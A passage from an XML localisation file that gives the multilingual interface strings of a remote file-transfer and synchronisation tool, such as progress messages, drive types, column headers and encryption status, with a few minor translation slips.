<pt-br>Sincronizando "$1"\\nVelocidade: $2/seg\\n\\n</pt-br>
<nl>Bezig met synchroniseren van "$1"\\nSnelheid: $2/sec.\\n\\n</nl>
</msg>
<msg name="CLOSING.TRANSFER">
<en>Closing file transfer... </en>
<de>Dateitransfer wird geschlossen ...</de>
<es>Cerrando transferencia de archivos...</es>
<fr>Fermeture du transfert de fichier ...</fr>
<it>Chiusura del trasferimento di file...</it>
<ru>Закрытие передачи файлов...</ru>
<ja>ファイル転送を終了しています...</ja>
<zh>正在关闭文件传输...</zh>
<ko>파일 전송 종료 중...</ko>
<en-gb>Closing file transfer...</en-gb>
<hu>Fájlátvitel lezárása...</hu>
<pt-br>Fechando transferência do arquivo...</pt-br>
<nl>Bezig met sluiten van bestandsoverdracht...</nl>
</msg>
<msg name="READING.DRIVELIST">
<en>Reading drive list... </en>
<de>Liste der Laufwerke wird gelesen ...</de>
<es>Leyendo lista de unidades...</es>
<fr>Lecture de la liste des lecteurs...</fr>
<it>Lettura dell'elenco unità...</it>
<ru>Чтение списка дисков...</ru>
<ja>ドライブ リストの読み取り中です...</ja>
<zh>正在读取驱动器列表...</zh>
<ko>드라이브 목록 읽는 중...</ko>
<en-gb>Reading drive list...</en-gb>
<hu>Meghajtólista beolvasása...</hu>
<pt-br>Lendo lista de unidades...</pt-br>
<nl>Bezig met lezen van lijst met stations...</nl>
</msg>
<msg name="READING.DIRECTORY">
<en>Reading directory list of "$1"... </en>
<de>Liste der Verzeichnisse von "$1"  wird gelesen ...</de>
<es>Leyendo lista de directorios "$1"...</es>
<fr>Lecture de la liste des dossiersde "$1"...</fr>
<it>Lettura dell'elenco directory di "$1"...</it>
<ru>Чтение списка каталогов из "$1"...</ru>
<ja>"$1" のディレクトリ リストの読み取り中です...</ja>
<zh>正在读取“$1”的目录列表...</zh>
<ko>"$1"의 디렉터리 목록 읽는 중...</ko>
<en-gb>Reading directory list of "$1"...</en-gb>
<hu>"$1" könyvtárlista beolvasása...</hu>
<pt-br>Lendo lista do diretório de "$1"...</pt-br>
<nl>Bezig met lezen van lijst met mappen van "$1"...</nl>
</msg>
<msg name="CANCEL.ACK">
<en>Cancel request acknowledged... </en>
<de>Abbruchanforderung wurde bestätigt ...</de>
<es>Trámite de petición de cancelación...</es>
<fr>L'annulation requiert une autorisation...</fr>
<it>Richiesta di annullamento accettata...</it>
<ru>Отмена подтвержденного запроса...</ru>
<ja>取り消しのリクエストは認められました...</ja>
<zh>已确认取消请求...</zh>
<ko>취소 요청 확인됨...</ko>
<en-gb>Cancel request acknowledged...</en-gb>
<hu>Visszavonási kérés nyugtázva...</hu>
<pt-br>Cancelar solicitação reconhecida...</pt-br>
<nl>Het verzoek om te annuleren is ingewilligd...</nl>
</msg>
<!-- completion status -->
<msg name="SUCCEEDED">
<en>succeeded.</en>
<de>erfolgreich.</de>
<es>satisfactorio.</es>
<fr>réussi.</fr>
<it>riuscito.</it>
<ru>успешно.</ru>
<ja>成功しました。</ja>
<zh>成功。</zh>
<ko>성공.</ko>
<en-gb>succeeded.</en-gb>
<hu>sikeres.</hu>
<pt-br>bem-sucedido.</pt-br>
<nl>gelukt.</nl>
</msg>
<msg name="FAILED">
<en>failed.</en>
<de>fehlgeschlagen.</de>
<es>fallido.</es>
<fr>echec.</fr>
<it>non riuscito.</it>
<ru>неудачно.</ru>
<ja>失敗しました。</ja>
<zh>失败。</zh>
<ko>실패.</ko>
<en-gb>failed.</en-gb>
<hu>sikertelen.</hu>
<pt-br>falha.</pt-br>
<nl>mislukt.</nl>
</msg>
<msg name="CANCELLED">
<en>Operation cancelled.</en>
<de>Operation wurde abgebrochen.</de>
<es>Operación cancelada.</es>
<fr>L'opération annulée</fr>
<it>Operazione annullata.</it>
<ru>Операция отменена.</ru>
<ja>操作は取り消されました。</ja>
<zh>已取消操作。</zh>
<ko>작업이 취소되었습니다.</ko>
<en-gb>Operation cancelled.</en-gb>
<hu>A művelet törölve.</hu>
<pt-br>Operação cancelada.</pt-br>
<nl>De bewerking is geannuleerd.</nl>
</msg>
<msg name="NONE.COPIED">
<en>No files copied.</en>
<de>Keine Dateien kopiert.</de>
<es>No se ha copiado ningún archivo.</es>
<fr>Aucun fichier copié.</fr>
<it>Nessun file copiato.</it>
<ru>Файлы не скопированы.</ru>
<ja>コピーされたファイルはありません。</ja>
<zh>未复制任何文件。</zh>
<ko>파일이 복사되지 않았습니다.</ko>
<en-gb>No files copied.</en-gb>
<hu>Nem történt fájlmásolás.</hu>
<pt-br>Não foram copiados arquivos.</pt-br>
<nl>Er zijn geen bestanden gekopieerd.</nl>
</msg>
<msg name="COPYSUCC">
<en>$1 transferred successfully.</en>
<de>$1 erfolgreich übertragen.</de>
<es>$1 transferidos con éxito.</es>
<fr>$1 transferré avec succès.</fr>
<it>Trasferimento di $1 eseguito.</it>
<ru>$1 передан успешно.</ru>
<ja>$1 の転送に成功しました。</ja>
<zh>已成功传输 $1。</zh>
<ko>$1을(를) 전송했습니다.</ko>
<en-gb>$1 transferred successfully.</en-gb>
<hu>$1 sikeresen átvitelre került.</hu>
<pt-br>$1 transferidos com êxito.</pt-br>
<nl>$1 is/zijn overgedragen.</nl>
</msg>
<msg name="SYNCFINISH">
<en>Replication finished.</en>
<de>Replikation abgeschlossen.</de>
<es>Réplica finalizada.</es>
<fr>Réplication terminée.</fr>
<it>Replica terminata.</it>
<ru>Репликация окончена.</ru>
<ja>レプリケーションが終了しました。</ja>
<zh>已完成复制。</zh>
<ko>복제를 끝냈습니다.</ko>
<en-gb>Replication finished.</en-gb>
<hu>Replikálás kész.</hu>
<pt-br>Replicação concluída.</pt-br>
<nl>De replicatie is voltooid.</nl>
</msg>
<msg name="MERGEFINISH">
<en>Synchronization finished.</en>
<de>Synchronisation abgeschlossen.</de>
<es>Sincronización finalizada.</es>
<fr>Synchronisation terminée.</fr>
<it>Sincronizzazione terminata.</it>
<ru>Синхронизация окончена.</ru>
<ja>同期が終了しました。</ja>
<zh>已完成同步。</zh>
<ko>동기화를 끝냈습니다.</ko>
<en-gb>Synchronisation finished.</en-gb>
<hu>Szinkronizálás kész.</hu>
<pt-br>Sincronização concluída.</pt-br>
<nl>De synchronisatie is voltooid.</nl>
</msg>
<!-- file list column titles -->
<msg name="HDR.OWNER">
<en>Owner</en>
<de>Besitzer</de>
<es>Propietario</es>
<fr>Propriétaire</fr>
<it>Proprietario</it>
<ru>Владелец</ru>
<ja>所有者</ja>
<zh>所有者</zh>
<ko>소유자</ko>
<en-gb>Owner</en-gb>
<hu>Tulajdonos</hu>
<pt-br>Proprietário</pt-br>
<nl>Eigenaar</nl>
</msg>
<msg name="HDR.GROUP">
<en>Group</en>
<es>Grupo</es>
<de>Gruppe</de>
<fr>Groupe</fr>
<it>Gruppo</it>
<ru>Группа</ru>
<ja>グループ</ja>
<zh>组</zh>
<ko>그룹</ko>
<hu>Csoport</hu>
<pt-br>Grupo</pt-br>
<nl>Groep</nl>
<en-gb>Group</en-gb>
</msg>
<msg name="HDR.PERMISSIONS">
<en>Permissions</en>
<de>Berechtigungen</de>
<es>Permisos</es>
<fr>Permissions</fr>
<it>Autorizzazioni</it>
<ru>Разрешения</ru>
<ja>権限</ja>
<zh>权限</zh>
<ko>권한</ko>
<en-gb>Permissions</en-gb>
<hu>Engedélyek</hu>
<pt-br>Permissões</pt-br>
<nl>Toestemmingen</nl>
</msg>
<msg name="HDR.NAME">
<en>Name</en>
<de>Name</de>
<es>Nombre</es>
<fr>Nom</fr>
<it>Nome</it>
<ru>Имя</ru>
<ja>名前</ja>
<zh>名称</zh>
<ko>이름</ko>
<en-gb>Name</en-gb>
<hu>Név</hu>
<pt-br>Nome</pt-br>
<nl>Naam</nl>
</msg>
<msg name="HDR.TYPE">
<en>Type</en>
<de>Typ</de>
<es>Tipo</es>
<fr>Type</fr>
<it>Tipo</it>
<ru>Тип</ru>
<ja>種類</ja>
<zh>类型</zh>
<ko>유형</ko>
<en-gb>Type</en-gb>
<hu>Típus</hu>
<nl>Type</nl>
</msg>
<msg name="HDR.SIZE">
<en>Size</en>
<de>Größe</de>
<es>Tamaño</es>
<fr>Taille</fr>
<it>Dimensione</it>
<ru>Размер</ru>
<ja>サイズ</ja>
<zh>大小</zh>
<ko>크기</ko>
<en-gb>Size</en-gb>
<hu>Méret</hu>
<pt-br>Tamanho</pt-br>
<nl>Grootte</nl>
</msg>
<msg name="HDR.DATE">
<en>Modified</en>
<de>Geändert</de>
<es>Modificado</es>
<fr>Modifié</fr>
<it>Modifica</it>
<ru>Изменено</ru>
<ja>修正済み</ja>
<zh>已修改</zh>
<ko>수정한 날짜</ko>
<en-gb>Modified</en-gb>
<hu>Módosított</hu>
<pt-br>Modificado</pt-br>
<nl>Gewijzigd</nl>
</msg>
<!-- file list item types -->
<msg name="TYPE.FILE">
<en>file</en>
<de>Datei</de>
<es>archivo</es>
<fr>fichier</fr>
<it>file</it>
<ru>файл</ru>
<ja>ファイル</ja>
<zh>文件</zh>
<ko>파일</ko>
<en-gb>file</en-gb>
<hu>fájl</hu>
<pt-br>arquivo</pt-br>
<nl>bestand</nl>
</msg>
<msg name="TYPE.DIR">
<en>folder</en>
<de>Ordner</de>
<es>carpeta</es>
<fr>dossier</fr>
<it>cartella</it>
<ru>папка</ru>
<ja>フォルダ</ja>
<zh>文件夹</zh>
<ko>폴더</ko>
<en-gb>folder</en-gb>
<hu>mappa</hu>
<pt-br>pasta</pt-br>
<nl>map</nl>
</msg>
<msg name="TYPE.DRIVE">
<en>drive</en>
<de>Laufwerk</de>
<es>unidad</es>
<fr>lecteur</fr>
<it>unità</it>
<ru>диск</ru>
<ja>ドライブ</ja>
<zh>驱动器</zh>
<ko>드라이브</ko>
<en-gb>drive</en-gb>
<hu>meghajtó</hu>
<pt-br>unidade</pt-br>
<nl>schijfstation</nl>
</msg>
<msg name="TYPE.PARENT">
<en>parent</en>
<de>übergeordnet</de>
<es>padre</es>
<fr>parent</fr>
<it>principale</it>
<ru>родительский объект</ru>
<ja>親</ja>
<zh>父项</zh>
<ko>부모</ko>
<en-gb>parent</en-gb>
<hu>szülő</hu>
<pt-br>pai</pt-br>
<nl>bovenliggend item</nl>
</msg>
<!-- drive list -->
<msg name="DTYPE.UNKNOWN">
<en>Unknown</en>
<de>Unbekannt</de>
<es>Desconocido</es>
<fr>Inconnu</fr>
<it>Sconosciuto</it>
<ru>Неизвестен</ru>
<ja>不明</ja>
<zh>未知</zh>
<ko>알 수 없음</ko>
<en-gb>Unknown</en-gb>
<hu>Ismeretlen</hu>
<pt-br>Desconhecido</pt-br>
<nl>Onbekend</nl>
</msg>
<msg name="DTYPE.REMOVABLE">
<en>Removable Disk</en>
<de>Austauschbares Laufwerk</de>
<es>Disco extraíble</es>
<fr>Disque amovible</fr>
<it>Disco rimovibile</it>
<ru>Съемный диск</ru>
<ja>リムーバブル ディスク</ja>
<zh>可移动磁盘</zh>
<ko>이동식 디스크</ko>
<en-gb>Removable Disk</en-gb>
<hu>Cserélhető lemez</hu>
<pt-br>Disco removível</pt-br>
<nl>Verwisselbare schijf</nl>
</msg>
<msg name="DTYPE.FIXED">
<en>Local Disk</en>
<de>Lokales Laufwerk</de>
<es>Disco local</es>
<fr>Disque local</fr>
<it>Disco locale</it>
<ru>Локальный диск</ru>
<ja>ローカル ディスク</ja>
<zh>本地磁盘</zh>
<ko>논리 디스크</ko>
<en-gb>Local Disk</en-gb>
<hu>Helyi lemez</hu>
<pt-br>Disco local</pt-br>
<nl>Lokaal schijfstation</nl>
</msg>
<msg name="DTYPE.REMOTE">
<en>Network Drive</en>
<de>Netzlaufwerk</de>
<es>Unidad de red</es>
<fr>Lecteur réseau</fr>
<it>Unità di rete</it>
<ru>Сетевой диск</ru>
<ja>ネットワーク ドライブ</ja>
<zh>网络驱动器</zh>
<ko>네트워크 드라이브</ko>
<en-gb>Network Drive</en-gb>
<hu>Hálózati meghajtó</hu>
<pt-br>Unidade de rede</pt-br>
<nl>Netwerkstation</nl>
</msg>
<msg name="DTYPE.CDROM">
<en>CD Drive</en>
<de>CD-ROM-Laufwerk</de>
<es>Unidad de CD</es>
<fr>Lecteur CD</fr>
<it>Unità CD</it>
<ru>Дисковод компакт-дисков</ru>
<ja>CD ドライブ</ja>
<zh>CD 驱动器</zh>
<ko>CD 드라이브</ko>
<en-gb>CD Drive</en-gb>
<hu>CD-meghajtó</hu>
<pt-br>Unidade de CD</pt-br>
<nl>Cd-rom-station</nl>
</msg>
<msg name="DTYPE.RAMDISK">
<en>RAM Drive</en>
<de>RAM-Lauferk</de>
<es>Unidad RAM</es>
<fr>Lecteur RAM</fr>
<it>Unità RAM</it>
<ru>RAM-дисковод</ru>
<ja>RAM ドライブ</ja>
<zh>RAM 驱动器</zh>
<ko>RAM 드라이브</ko>
<en-gb>RAM Drive</en-gb>
<hu>RAM-meghajtó</hu>
<pt-br>Unidade de RAM</pt-br>
<nl>RAM-station</nl>
</msg>
<msg name="DTYPE.CDR">
<en>CD Writer</en>
<de>CD Brenner</de>
<es>Grabadora de CDs</es>
<fr>Graveur CD</fr>
<it>Masterizzatore CD</it>
<ru>Устройство записи компакт-дисков</ru>
<ja>CD ライター</ja>
<zh>CD 刻录机</zh>
<ko>CD 작성기</ko>
<en-gb>CD Writer</en-gb>
<hu>CD-író</hu>
<pt-br>Gravador de CD</pt-br>
<nl>Cd-schrijver</nl>
</msg>
<msg name="DTYPE.DVD">
<en>DVD Drive</en>
<de>DVD-Laufwerk</de>
<es>Unidad de DVDs</es>
<fr>Lecteur DVD</fr>
<it>Unità DVD</it>
<ru>DVD-дисковод</ru>
<ja>DVD ドライブ</ja>
<zh>DVD 驱动器</zh>
<ko>DVD 드라이브</ko>
<en-gb>DVD Drive</en-gb>
<hu>DVD-meghajtó</hu>
<pt-br>Unidade de DVD</pt-br>
<nl>Dvd-station</nl>
</msg>
<msg name="DTYPE.DVDR">
<en>DVD Writer</en>
<de>DVD-Brenner</de>
<es>Grabadora de DVDs</es>
<fr>Graveur DVD</fr>
<it>Masterizzatore DVD</it>
<ru>Устройство записи DVD-дисков</ru>
<ja>DVD ライター</ja>
<zh>DVD 刻录机</zh>
<ko>DVD 작성기</ko>
<en-gb>DVD Writer</en-gb>
<hu>DVD-író</hu>
<pt-br>Gravador de DVD</pt-br>
<nl>Dvd-schrijver</nl>
</msg>
<msg name="DTYPE.OPTICAL">
<en>Optical Drive</en>
<de>Optisches Laufwerk</de>
<es>Unidad óptica</es>
<fr>Lecteur optique</fr>
<it>Unità ottica</it>
<ru>Оптический диск</ru>
<ja>光学ドライブ</ja>
<zh>光盘驱动器</zh>
<ko>광 드라이브</ko>
<en-gb>Optical Drive</en-gb>
<hu>Optikai meghajtó</hu>
<pt-br>Unidade ótica</pt-br>
<nl>Optisch station</nl>
</msg>
<msg name="DTYPE.TAPE">
<en>Tape Drive</en>
<de>Bandlaufwerk</de>
<es>Unidad de cinta</es>
<fr>Lecteur de cassette</fr>
<it>Unità nastro</it>
<ru>Ленточное устройство</ru>
<ja>テープ ドライブ</ja>
<zh>磁带驱动器</zh>
<ko>테이프 드라이브</ko>
<en-gb>Tape Drive</en-gb>
<hu>Szalagos meghajtó</hu>
<pt-br>Unidade de fita</pt-br>
<nl>Tapestation</nl>
</msg>
<msg name="DRIVE.TOTAL">
<en>$1</en>
<de>$1</de>
<es>$1</es>
<fr>$1</fr>
<it>$1</it>
<ru>$1</ru>
<ja>$1</ja>
<zh>$1</zh>
<ko>$1</ko>
<en-gb>$1</en-gb>
<hu>$1</hu>
<pt-br>$1</pt-br>
<nl>$1</nl>
</msg>
<msg name="DRIVE.FREE">
<en>Free: $1</en>
<de>Frei: $1</de>
<es>Libre: $1</es>
<fr>Libre: $1</fr>
<it>Disponibile: $1</it>
<ru>Свободно: $1</ru>
<ja>空き領域 : $1</ja>
<zh>空闲:$1</zh>
<ko>사용 가능: $1</ko>
<en-gb>Free: $1</en-gb>
<hu>Szabad: $1</hu>
<pt-br>Livre: $1</pt-br>
<nl>Beschikbaar: $1</nl>
</msg>
<msg name="DIR.DESKTOP">
<en>$1's Desktop</en>
<de>$1's Desktop</de>
<es>escritorio de $1</es>
<fr>$1 Bureau</fr>
<it>Desktop $1</it>
<ru>Рабочий стол $1</ru>
<ja>$1 のデスクトップ</ja>
<zh>$1 的桌面</zh>
<ko>$1의 데스크톱</ko>
<en-gb>$1's Desktop</en-gb>
<hu>$1 asztala</hu>
<pt-br>Desktop do $1</pt-br>
<nl>Bureaublad van $1</nl>
</msg>
<msg name="DIR.DOCS">
<en>$1's Documents</en>
<de>$1's Dokumente</de>
<es>documentos de $1</es>
<fr>$1 Documents</fr>
<it>Documenti $1</it>
<ru>Документы $1</ru>
<ja>$1 のドキュメント</ja>
<zh>$1 的文档</zh>
<ko>$1의 문서</ko>
<en-gb>$1's Documents</en-gb>
<hu>$1 dokumentumai</hu>
<pt-br>Documentos do $1</pt-br>
<nl>Documenten van $1</nl>
</msg>
<msg name="DIR.MYDESKTOP">
<en>My Desktop</en>
<de>Mein Desktop</de>
<es>Mi escritorio</es>
<fr>Mon Bureau</fr>
<it>Risorse del desktop</it>
<ru>Мой рабочий стол</ru>
<ja>マイ デスクトップ</ja>
<zh>我的桌面</zh>
<ko>내 컴퓨터</ko>
<en-gb>My Desktop</en-gb>
<hu>Saját asztal</hu>
<pt-br>Minha área de trabalho</pt-br>
<nl>Mijn bureaublad</nl>
</msg>
<msg name="DIR.MYDOCS">
<en>My Documents</en>
<de>Meine Dokumente</de>
<es>Mis documentos</es>
<fr>Mes Documents</fr>
<it>Documenti</it>
<ru>Мои документы</ru>
<ja>マイ ドキュメント</ja>
<zh>我的文档</zh>
<ko>내 문서</ko>
<en-gb>My Documents</en-gb>
<hu>Saját dokumentumok</hu>
<pt-br>Meus documentos</pt-br>
<nl>Mijn documenten</nl>
</msg>
<!-- activex specific -->
<msg name="EDITWARNING">
<en>The remote file has been copied to a temporary folder on the local computer and all edits will be saved here.\n\nAfter editing the file, save the changes as usual and then click below to transfer the file back to the target computer.\nIf you do not wish to update the target PC with the updated file, click Cancel.</en>
<fr>Le fichier distant a été copié dans un dossier temporaire sur l'ordinateur local et toutes les modifications y seront enregistrées.\n\nUne fois le fichier modifié, enregistrez les modifications puis cliquez ci-dessous pour transférer de nouveau le fichier vers l'ordinateur cible.\nSi vous ne souhaitez pas mettre à jour l'ordinateur cible avec le fichier mis à jour, cliquez sur Annuler.</fr>
<es>El archivo remoto se ha copiado a una carpeta temporal en el ordenador local y todas las ediciones se guardarán aquí.\n\nTras editar el archivo, guarde los cambios como siempre y haga clic debajo para transferir el archivo de nuevo al ordenador de destino.\nSi no desea actualizar el ordenador de destino con el archivo actualizado, haga clic en Cancelar.</es>
<de>Die Datei des Ferncomputers wurde in einen temporären Ordner des lokalen Computers kopiert und sämtliche Änderungen werden in diesem Ordner gespeichert.\n\nNachdem Sie die Datei bearbeitet haben, speichern Sie die Änderungen bitte wie immer und klicken Sie dann unten, um die Datei zurück auf den Zielcomputer zu übertragen.\n\nWenn Sie die aktualisierte Datei nicht auf den Zielcomputer übertragen möchten, klicken Sie bitte auf „Abbrechen“.</de>
<it>Il file remoto è stato copiato in una cartella temporanea del computer locale, dove verranno salvate tutte le modifiche.\n\nDopo la modifica del file, salvare le modifiche nel solito modo e quindi fare clic sotto per trasferire nuovamente il file nel computer di destinazione.\nSe non si desidera aggiornare il file nel computer di destinazione, fare clic su Annulla.</it>
<nl>Het bestand van de externe computer is gekopieerd naar een tijdelijke map op de lokale computer en alle bewerkingen worden hierin opgeslagen.\n\nNadat u het bestand hebt bewerkt, slaat u de wijzigingen zoals gebruikelijk op en klikt u vervolgens hieronder om het bestand terug naar de host-computer over te dragen.\nAls u het bestand op de host-computer niet wilt vervangen door het bijgewerkte bestand, klikt u op Annuleren.</nl>
<pt-br>O arquivo remoto foi copiado para uma pasta temporária no computador local e todas as edições serão salvas aqui.\n\nDepois de editar o arquivo, salve as alterações como de costume e clique abaixo para transferir o arquivo de volta para o computador de destino.\nPara não atualizar o computador de destino com o arquivo atualizado, clique em Cancelar.</pt-br>
<zh>远程文件被复制到本地计算机上的临时文件夹,并且所有的编辑都将保存在此处。\n\n编辑该文件后,如平常一样保存更改,然后单击下面以将该文件传回目标计算机。\n如果您不想以更新的文件更新目标计算机,则单击“取消”。</zh>
<ru>Этот удаленный файл был скопирован во временную папку на локальном компьютере, и все изменения будут сохраняться здесь.\n\nПосле редактирования файла сохраните изменения как обычно, а затем нажмите кнопку внизу, чтобы передать файл обратно на целевой компьютер.\nЕсли вы не хотите обновлять файл на целевом компьютере, нажмите кнопку «Отмена». </ru>
<ja>リモートファイルはローカル コンピュータの一時フォルダ (temporary folder) にコピーされ、すべての編集はここに保存されます。\n\nファイルを編集したらいつも通りに変更を保存してから下をクリックしてファイルをターゲット コンピュータへ戻します。\nターゲット コンピュータにアップデートしたファイルを転送しない場合は、[キャンセル] をクリックしてください。</ja>
<ko>원격 파일이 로컬 컴퓨터의 임시 폴더에 복사되었으며 모든 편집 내용은 이 폴더에 저장됩니다.\n\n파일을 편집한 후 변경사항을 저장하고 아래를 클릭하여 파일을 다시 대상 컴퓨터로 전송하십시오.\n대상 컴퓨터를 업데이트된 파일로 업데이트하지 않으려면 '취소'를 클릭하십시오.</ko>
<hu>A program a távoli fájl egy másolatát a helyi számítógép egy ideiglenes mappájába mentette, és minden módosítást is ide fog elmenteni.\n\nA fájl módosítása után a szokásos módon mentse el a változásokat, majd a fájl célszámítógépre történő átviteléhez kattintson az alábbi lehetőségre.\nAmennyiben nem szeretné a távoli gépen lévő fájlt felülírni, kattintson a Mégse gombra.</hu>
</msg>
<msg name="EDITWARNINGHEADER">
<en>Information</en>
<de>Information</de>
<es>Información</es>
<fr>Information</fr>
<it>Informazioni</it>
<ru>Информация</ru>
<ja>情報</ja>
<zh>信息</zh>
<ko>정보</ko>
<en-gb>Information</en-gb>
<hu>Információ</hu>
<nl>Informatie</nl>
</msg>
<msg name="TRANSFERRATE">
<en>Transfer rate: $1/s</en>
<de>Übertragungsgeschwindigkeit: $1/s</de>
<es>Régimen de transferencia: $1/s</es>
<fr>Taux de transfert: $1/s</fr>
<it>Velocità di trasferimento: $1/s</it>
<ru>Скорость передачи: $1/с</ru>
<ja>転送速度 :$1 / 秒</ja>
<zh>传输速率:$1/s</zh>
<ko>전송 속도: $1/s</ko>
<en-gb>Transfer rate: $1/s</en-gb>
<hu>Átviteli sebesség: $1/mp</hu>
<pt-br>Taxa de transferência: $1/s</pt-br>
<nl>Overdrachtsnelheid: $1/s</nl>
</msg>
<msg name="PRGCURRENT">
<en>Current: $1% ($2 / $3)</en>
<de>Aktuell: $1% ($2 / $3)</de>
<es>Actual: $1% ($2 / $3)</es>
<fr>Courant : $1% ($2/$3)</fr>
<it>Corrente: $1% ($2 / $3)</it>
<ru>Текущая: $1% ($2 / $3)</ru>
<ja>現在 : $1% ($2 / $3)</ja>
<zh>当前:$1% ($2 / $3)</zh>
<ko>현재: $1% ($2 / $3)</ko>
<en-gb>Current: $1% ($2 / $3)</en-gb>
<hu>Jelenlegi: $1% ($2 / $3)</hu>
<pt-br>Atual: $1% ($2 / $3)</pt-br>
<nl>Huidig: $1% ($2 / $3)</nl>
</msg>
<msg name="PRGTOTAL">
<en>Total: $1% ($2 / $3)</en>
<de>Gesamt: $1% ($2 / $3)</de>
<es>Total: $1% ($2 / $3)</es>
<fr>Total : $1% ($2/$3)</fr>
<it>Totale: $1% ($2 / $3)</it>
<ru>Всего: $1% ($2 / $3)</ru>
<ja>合計 : $1% ($2 / $3)</ja>
<zh>总计:$1% ($2 / $3)</zh>
<ko>총계: $1% ($2 / $3)</ko>
<en-gb>Total: $1% ($2 / $3)</en-gb>
<hu>Összes: $1% ($2 / $3)</hu>
<pt-br>Total: $1% ($2 / $3)</pt-br>
<nl>Totaal: $1% ($2 / $3)</nl>
</msg>
<msg name="PRGLEFTSEC">
<en>, $1 seconds remaining</en>
<de>, $1 Sekunden übrig</de>
<es>, Quedan $1 segundos</es>
<fr>, $1 secondes restantes</fr>
<it>, $1 secondi rimanenti</it>
<ru>, Осталось $1 секунд</ru>
<ja>, 残り $1 秒</ja>
<zh>, 剩余 $1 秒</zh>
<ko>, $1초 남음</ko>
<en-gb>, $1 seconds remaining</en-gb>
<hu>, $1 másodperc van hátra</hu>
<pt-br>, $1 segundos restantes</pt-br>
<nl>, $1 seconden resterend</nl>
</msg>
<msg name="PRGLEFTTIME">
<en>, $1 remaining</en>
<de>, $1 übrig</de>
<es>, Quedan $1</es>
<fr>, $1 restants</fr>
<it>, $1 rimanenti</it>
<ru>, осталось $1</ru>
<ja>, 残り $1</ja>
<zh>, 剩余 $1</zh>
<ko>, $1 남음</ko>
<en-gb>, $1 remaining</en-gb>
<hu>, $1 van hátra</hu>
<pt-br>, $1 restante</pt-br>
<nl>, $1 resterend</nl>
</msg>
<msg name="PRGCOMPLETED">
<en>$1% completed</en>
<de>$1% abgeschlossen</de>
<es>$1% completed</es>
<fr>$1% accompli</fr>
<it>$1% completato</it>
<ru>$1% завершено</ru>
<ja>$1% 終了しました</ja>
<zh>已完成 $1%</zh>
<ko>$1% 완료</ko>
<en-gb>$1% completed</en-gb>
<hu>$1% kész</hu>
<pt-br>$1% concluído</pt-br>
<nl>$1% voltooid</nl>
</msg>
<msg name="COPYING.FILE">
<en>Copying "$1"</en>
<de>"$1" wird kopiert</de>
<es>Copiando "$1"</es>
<fr>Copie de "$1"</fr>
<it>Copia di "$1"</it>
<ru>Копируется $1</ru>
<ja>"$1" をコピーしています</ja>
<zh>正在复制“$1”</zh>
<ko>"$1" 복사 중</ko>
<en-gb>Copying "$1"</en-gb>
<hu>$1 másolása</hu>
<pt-br>Copiando "$1"</pt-br>
<nl>Bezig met kopiëren van "$1"</nl>
</msg>
<msg name="MOVING.FILE">
<en>Moving "$1"</en>
<de>"$1"wird verschoben</de>
<es>Moviendo "$1"</es>
<fr>Déplacement "$1"</fr>
<it>Spostamento di "$1"</it>
<ru>Перемещение "$1"</ru>
<ja>"$1" を移動しています</ja>
<zh>正在移动“$1”</zh>
<ko>"$1" 이동 중</ko>
<en-gb>Moving "$1"</en-gb>
<hu>"$1" áthelyezése</hu>
<pt-br>Movendo "$1"</pt-br>
<nl>Bezig met verplaatsen van "$1"</nl>
</msg>
<msg name="MOVE.FAILED">
<en>One or more source files were in use and could not be removed.</en>
<es>Uno o más archivos de origen estaban siendo utilizados y no se pudieron quitar.</es>
<fr>Une ou plusieurs sources de fichiers sont actuellement utilisées et ne peuvent être supprimées.</fr>
<de>Es wurden Quelldateien verwendet, die nicht entfernt werden konnten.</de>
<it>Uno o più file di origine in uso, impossibile rimuoverli.</it>
<ru>Один или несколько исходных файлов были заняты, или их не удалось удалить.</ru>
<ja>ソース ファイルが使用されていたため、削除できませんでした。</ja>
<zh>一个或多个源文件正在使用,无法删除。</zh>
<ko>하나 이상의 원본 파일을 사용 중이기 때문에 제거할 수 없습니다.</ko>
<en-gb>One or more source files were in use and could not be removed.</en-gb>
<hu>Egy vagy több forrásfájl használatban volt, és nem lehetett áthelyezni.</hu>
<pt-br>Um ou mais arquivos de origem estão em uso e não podem ser removidos.</pt-br>
<nl>Eén of meerdere bronbestanden worden gebruikt en kunnen niet worden verwijderd.</nl>
</msg>
<msg name="SYNCING.FILE">
<en>Synchronizing "$1"</en>
<de>"$1" wird verschoben</de>
<es>Sincronizando "$1"</es>
<fr>Synchronisation "$1"</fr>
<it>Sincronizzazione di "$1"</it>
<ru>Синхронизация "$1"</ru>
<ja>"$1" を同期しています</ja>
<zh>正在同步“$1”</zh>
<ko>"$1" 동기화 중</ko>
<en-gb>Synchronising "$1"</en-gb>
<hu>"$1" szinkronizálása</hu>
<pt-br>Sincronizando "$1"</pt-br>
<nl>Bezig met synchroniseren van "$1"</nl>
</msg>
<msg name="MERGING.FILE">
<en>Synchronizing "$1"</en>
<de>"$1" wird synchronisiert</de>
<es>Sincronizando "$1"</es>
<fr>Synchronisation "$1"</fr>
<it>Sincronizzazione di "$1"</it>
<ru>Синхронизация "$1"</ru>
<ja>"$1" を同期しています</ja>
<zh>正在同步“$1”</zh>
<ko>"$1" 동기화 중</ko>
<en-gb>Synchronising "$1"</en-gb>
<hu>"$1" szinkronizálása</hu>
<pt-br>Sincronizando "$1"</pt-br>
<nl>Bezig met synchroniseren van "$1"</nl>
</msg>
<msg name="PREPARING.FILE">
<en>Preparing "$1"</en>
<de>"$1" wird vorbereitet</de>
<es>Preparando "$1"</es>
<fr>Préparation de "$1"</fr>
<it>Preparazione di "$1"</it>
<ru>Подготовка "$1"</ru>
<ja>処理中 "$1"</ja>
<ko>"$1" 준비 중</ko>
<zh>正在准备 "$1"</zh>
<hu>"$1" előkészítése</hu>
<pt-br>Preparando "$1"</pt-br>
<nl>Bezig met voorbereiden van "$1"</nl>
</msg>
<msg name="ENCRYPTION">
<en>Encryption: $1</en>
<es>Cifrado:$1</es>
<de>Verschlüsselung: $1</de>
<fr>Chiffrement : $1</fr>
<it>Crittografia: $1</it>
<ru>Шифрование: $1</ru>
<ja>暗号化: $1</ja>
<zh>加密:$1</zh>
<ko>암호화: $1</ko>
<en-gb>Encryption: $1</en-gb>
<hu>Titkosítás: $1</hu>
<pt-br>Criptografia: $1</pt-br>
<nl>Codering: $1</nl>
</msg>
<msg name="NOENCRYPTION">
<en>Encryption: none</en>
<de>Verschlüsselung: keine</de>
<es>Cifrado: ninguna</es>
<fr>Chiffrage : aucun</fr>
<it>Crittografia: nessuna</it>
<ru>Шифрование: отсутствует</ru>
<ja>暗号化 :なし</ja>
<zh>加密:无</zh>
<ko>암호화: 없음</ko>
<en-gb>Encryption: none</en-gb>
